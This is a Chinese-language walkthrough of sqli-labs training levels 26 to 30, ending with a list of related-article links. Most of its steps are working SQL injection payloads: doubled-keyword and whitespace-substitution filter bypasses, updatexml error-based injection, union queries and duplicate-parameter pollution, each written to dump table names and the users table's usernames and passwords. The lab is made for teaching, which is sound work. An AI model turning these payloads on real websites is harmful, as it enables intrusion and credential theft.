sqli-labs靶场第26-30关

第26关

这关将逻辑运算符,注释符以及空格给过滤了

我们先使用单引号进行闭合

这时我们查看源代码可以看到这一关过滤了很多字符

可以看到这里将or and / -- # 空格等字符都被注释了

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过

因为报错注入空格少,所以这里我们使用报错注入

查询数据库名

复制代码
?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1

查询表名字段名以及字段下的数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1 
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1

我们获取到了数据库的数据自此通关

第26-a关

这关的闭合方式与26关不同,需要闭合')

复制代码
?id=1'aandnd'1

我们让页面报错发现页面没有报错只有一个警告

这里我们就不能使用报错注入了,所以我们使用布尔盲注

第27关

查看是否可以控制

?id=1

?id=2

可以控制

查看代码是否能直接在MySQL中执行

?id=1'

我们现在找一下他的闭合是什么

我们先试一下--+

发现网站给我们过滤掉了

这时我们试一下 and'1 闭合

页面回显正常说明网站不会过滤 and'1 得到网站是字符型

使用order by排序或者group by分组来猜测表有几个字段

我们猜测它有三列

?id=1' order by 4 and'1

我们发现输入的时候它给我们把空格过滤掉了所以我们使用%09 替换空格

%09 utf-8 可以当空格使用

我们猜测他有四列

?id=1%27%09order%09by%094%09and%271

回显成功

我们猜测它有七列

这时也回显成功,继续试的时候也是这样

发现使用 order by 不管用了,这时我们继续下一步,我们使用联合查询来猜

使用联合查询union select查看回显

复制代码
?id=9999%27%09uNion%09sElect%091,2,3%09and%09%271

我们查看到 2 回显数据

通过内置表查询数据

(1)使用联合查询查看表的名字

复制代码
?id=999%27%09uNion%09sElect%091,database(),3%09and%271

表的名字为security

(2)使用联合查询查看security中的所有表名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%271

看到security中有四个表我们要查看的表为users

(3)继续使用联合查询查看users的所有字段名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),3%09and%271

可以看到表中的名字id,username,password

(4)使用联合查询查看表中的数据

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09and%271

获得表格中的所有账号密码。

第 28 关

该关卡过滤了注释符空格还过滤了union和select,所以我们可以使用重写绕过

查询数据库名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0Aand('1

查询表名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

查字段名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

查数据

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(id,username,password)%0Afrom%0Ausers%0Aand%0A('1

第 28-a 关

该关卡只过滤union+select其他没有过滤

直接使用联合查询就行

第 29 关

这关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

查询表名,字段名,数据

复制代码
?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

复制代码
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+
相关推荐
2401_874732537 小时前
为你的Python脚本添加图形界面(GUI)
jvm·数据库·python
Chengbei117 小时前
Redis 图形化综合检测工具:redis_tools_GUI,一键探测 + 利用
数据库·redis·web安全·网络安全·缓存·系统安全
hutengyi8 小时前
PostgreSQL的备份方式
数据库·postgresql
mldlds8 小时前
MySQL加减间隔时间函数DATE_ADD和DATE_SUB的详解
android·数据库·mysql
Chengbei119 小时前
若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御
数据库·sql·安全·web安全·网络安全·系统安全·安全架构
小江的记录本9 小时前
【事务】Spring Framework核心——事务管理:ACID特性、隔离级别、传播行为、@Transactional底层原理、失效场景
java·数据库·分布式·后端·sql·spring·面试
数据皮皮侠9 小时前
中国城市间地理距离矩阵(2024)
大数据·数据库·人工智能·算法·制造
lars_lhuan9 小时前
从键值数据库到Redis
数据库·redis·缓存
倔强的石头10610 小时前
KaiwuDB社区版 3.1.0 在 Ubuntu 22.04 部署实战:TLS 配置、踩坑复盘与轻量压测
数据库·ubuntu·kwdb